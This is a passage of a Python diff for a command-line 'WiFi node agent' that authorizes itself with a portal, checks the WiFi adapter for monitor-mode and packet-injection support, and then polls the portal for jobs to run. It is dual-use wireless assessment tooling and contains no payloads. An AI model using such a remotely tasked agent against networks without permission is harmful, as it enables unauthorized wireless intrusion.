+ sys.exit(1)
2882
+
2883
+ device_code = data['device_code']
2884
+ user_code = data['user_code']
2885
+ expires_in = data.get('expires_in', 300)
2886
+ interval = data.get('interval', 2)
2887
+
2888
+ # Step 2: Determine portal URL for browser auth
2889
+ if portal_url:
2890
+ portal_base = portal_url.rstrip('/')
2891
+ else:
2892
+ from urllib.parse import urlparse
2893
+ parsed = urlparse(server)
2894
+ host = parsed.hostname or ''
2895
+ # aegis.red.divoltbtc.com → portal.aegis.divoltbtc.com
2896
+ # Strip env subdomains between 'aegis' and the base domain
2897
+ parts = host.split('.')
2898
+ if parts[0] == 'aegis' and len(parts) > 2:
2899
+ base_domain = '.'.join(parts[-2:])
2900
+ portal_host = f'portal.aegis.{base_domain}'
2901
+ else:
2902
+ portal_host = host
2903
+ portal_base = f'{parsed.scheme}://{portal_host}'
2904
+ authorize_url = f'{portal_base}/wifi-nodes/authorize/{user_code}'
2905
+
2906
+ c = not _no_color()
2907
+ B, R, G, Y, D, W, CY, GR = (_BOLD, _RESET, _GREEN, _YELLOW, _DIM, _WHITE, _CYAN, _GREY) if c else ('',)*8
2908
+ BL = _BLUE if c else ''
2909
+
2910
+ print()
2911
+ print(f' {CY}{B}DEVICE AUTHORIZATION{R}')
2912
+ print(f' {D}{"─" * 48}{R}')
2913
+ print()
2914
+ print(f' {D}Verification code:{R}')
2915
+ print(f' {BL}{B} ┌─────────────────┐{R}')
2916
+ print(f' {BL}{B} │ {user_code} │{R}')
2917
+ print(f' {BL}{B} └─────────────────┘{R}')
2918
+ print()
2919
+ print(f' {D}Authorize at:{R}')
2920
+ print(f' {W}{B}{authorize_url}{R}')
2921
+ print()
2922
+ print(f' {D}Confirm the code matches in your browser,{R}')
2923
+ print(f' {D}then click{R} {G}"Authorize Device"{R}{D}.{R}')
2924
+ print()
2925
+ print(f' {D}Expires in {expires_in}s. Waiting...{R}')
2926
+ print(f' {D}{"─" * 48}{R}')
2927
+ print()
2928
+
2929
+ if not no_browser:
2930
+ try:
2931
+ webbrowser.open(authorize_url)
2932
+ log.info('Opened browser for authorization')
2933
+ except Exception:
2934
+ log.info('Could not open browser — visit the URL above manually')
2935
+
2936
+ # Step 3: Poll for approval
2937
+ deadline = time.monotonic() + expires_in
2938
+ while time.monotonic() < deadline and RUNNING:
2939
+ time.sleep(interval)
2940
+ try:
2941
+ r = requests.post(f'{base_url}/device-auth/poll', json={
2942
+ 'device_code': device_code,
2943
+ }, timeout=15)
2944
+ resp = r.json()
2945
+
2946
+ if resp.get('status') == 'approved':
2947
+ log.info('Authorization approved!')
2948
+ print(f'\n {G}{B}✓ Authorized!{R} {D}Connecting...{R}\n')
2949
+ return (resp['session_id'], resp['token'])
2950
+
2951
+ if resp.get('status') == 'denied':
2952
+ log.error('Authorization was denied')
2953
+ sys.exit(1)
2954
+
2955
+ if r.status_code == 410:
2956
+ log.error('Device code expired')
2957
+ sys.exit(1)
2958
+
2959
+ # Still pending — continue polling
2960
+ except requests.exceptions.ConnectionError:
2961
+ log.warning('Portal unreachable, retrying...')
2962
+ except Exception as e:
2963
+ log.warning('Poll error: %s', e)
2964
+
2965
+ log.error('Authorization timed out (no response within %ds)', expires_in)
2966
+ sys.exit(1)
2967
+
2968
+
2969
+ def main():
2970
+ parser = argparse.ArgumentParser(
2971
+ description='Aegis WiFi Node Agent — wireless network assessment tool',
2972
+ epilog='Run "preflight" first to check your system is ready.',
2973
+ )
2974
+ sub = parser.add_subparsers(dest='command')
2975
+
2976
+ pf = sub.add_parser('preflight', help='Check system readiness (adapters, tools, deps)')
2977
+ pf.add_argument('--install', action='store_true',
2978
+ help='Auto-install missing tools via apt (requires sudo)')
2979
+
2980
+ connect = sub.add_parser('connect', help='Connect to the Aegis portal')
2981
+ connect.add_argument('--token', help='One-time bearer token (skip browser auth)')
2982
+ connect.add_argument('--session', type=int, help='Session ID (required with --token)')
2983
+ connect.add_argument('--server', default='https://portal.aegis.divoltbtc.com', help='Portal base URL (default: portal.aegis.divoltbtc.com)')
2984
+ connect.add_argument('--skip-preflight', action='store_true',
2985
+ help='Skip dependency check on connect')
2986
+ connect.add_argument('--no-browser', action='store_true',
2987
+ help='Print the authorization URL instead of opening a browser')
2988
+ connect.add_argument('--portal', help='Portal URL for browser auth (auto-derived from --server if omitted)')
2989
+
2990
+ args = parser.parse_args()
2991
+
2992
+ if not args.command:
2993
+ if not _no_color():
2994
+ print(BANNER)
2995
+ parser.print_help()
2996
+ sys.exit(1)
2997
+
2998
+ if not _no_color():
2999
+ print(BANNER)
3000
+
3001
+ if args.command == 'preflight':
3002
+ ok = preflight_check(auto_install=args.install)
3003
+ sys.exit(0 if ok else 1)
3004
+
3005
+ # ── connect ──
3006
+ if not args.skip_preflight:
3007
+ log.info('Running preflight check...')
3008
+ ready = preflight_check()
3009
+ if not ready:
3010
+ log.error('Preflight failed — run with --install to fix, or --skip-preflight to bypass')
3011
+ sys.exit(1)
3012
+ log.info('Preflight passed')
3013
+
3014
+ if args.token and args.session:
3015
+ # Legacy token flow — direct credentials
3016
+ session_id = args.session
3017
+ token = args.token
3018
+ elif args.token or args.session:
3019
+ log.error('--token and --session must be used together')
3020
+ sys.exit(1)
3021
+ else:
3022
+ # Browser-based device authorization flow
3023
+ session_id, token = _device_auth_flow(args.server, args.no_browser,
3024
+ portal_url=getattr(args, 'portal', None))
3025
+
3026
+ client = AegisNodeClient(args.server, session_id, token)
3027
+
3028
+ from .adapters import detect_adapters, get_host_info
3029
+
3030
+ adapters = detect_adapters()
3031
+ if not adapters:
3032
+ log.error('No compatible USB WiFi adapter detected')
3033
+ sys.exit(1)
3034
+
3035
+ adapter = adapters[0]
3036
+ host = get_host_info()
3037
+ log.info('Detected adapter: %s (%s)', adapter['chipset'], adapter['vid_pid'])
3038
+ log.info('Monitor mode: %s Injection: %s', adapter['cap_monitor_mode'], adapter['cap_injection'])
3039
+
3040
+ # Register with portal — retry on transient failures
3041
+ registered = False
3042
+ for attempt in range(5):
3043
+ try:
3044
+ resp = client.register(adapter, host)
3045
+ if not resp.get('ok'):
3046
+ log.error('Registration failed: %s', resp.get('error'))
3047
+ sys.exit(1)
3048
+ log.info('Registered with portal (session %s)', client.session_id)
3049
+ registered = True
3050
+ break
3051
+ except requests.exceptions.ConnectionError:
3052
+ delay = min(5 * (2 ** attempt), 60)
3053
+ log.warning('Portal unreachable (attempt %d/5), retrying in %ds...', attempt + 1, delay)
3054
+ time.sleep(delay)
3055
+ except Exception as e:
3056
+ log.error('Failed to connect to portal: %s', e)
3057
+ sys.exit(1)
3058
+
3059
+ if not registered:
3060
+ log.error('Could not reach portal after 5 attempts')
3061
+ sys.exit(1)
3062
+
3063
+ # Poll loop with reconnect backoff and heartbeat
3064
+ log.info('Polling for jobs (Ctrl+C to stop)...')
3065
+ consecutive_errors = 0
3066
+ last_heartbeat = time.monotonic()
3067
+
3068
+ while RUNNING:
3069
+ try:
3070
+ resp = client.poll()
3071
+ consecutive_errors = 0
3072
+ last_heartbeat = time.monotonic()
3073
+
3074
+ job = resp.get('job')
3075
+ if job:
3076
+ log.info('Received job %s (%s)', job.get('job_id'), job.get('kind'))
3077
+ run_job(client, job)
3078
+ else:
3079
+ sleep_s = resp.get('sleep_s', POLL_INTERVAL)
3080
+ time.sleep(sleep_s)
3081
+
3082
+ except requests.exceptions.ConnectionError:
3083
+ consecutive_errors += 1
3084
+ delay = min(POLL_INTERVAL * (2 ** consecutive_errors), MAX_RECONNECT_DELAY)
3085
+ log.warning('Connection lost (streak %d), retrying in %ds...', consecutive_errors, delay)
3086
+ time.sleep(delay)
3087
+ except requests.exceptions.HTTPError as e:
3088
+ if e.response is not None and e.response.status_code == 401:
3089
+ log.error('Token rejected (401) — session may have expired. Exiting.')
3090
+ sys.exit(1)
3091
+ consecutive_errors += 1
3092
+ delay = min(10 * (2 ** consecutive_errors), MAX_RECONNECT_DELAY)
3093
+ log.warning('HTTP error %s (streak %d), retrying in %ds...', e, consecutive_errors, delay)
3094
+ time.sleep(delay)
3095
+ except Exception as e:
3096
+ consecutive_errors += 1
3097
+ log.warning('Poll error: %s (streak %d)', e, consecutive_errors)
3098
+ time.sleep(min(POLL_INTERVAL * (2 ** consecutive_errors), MAX_RECONNECT_DELAY))
3099
+
3100
+ log.info('Agent stopped')
3101
+
3102
+
3103
+ if __name__ == '__main__':
3104
+ main()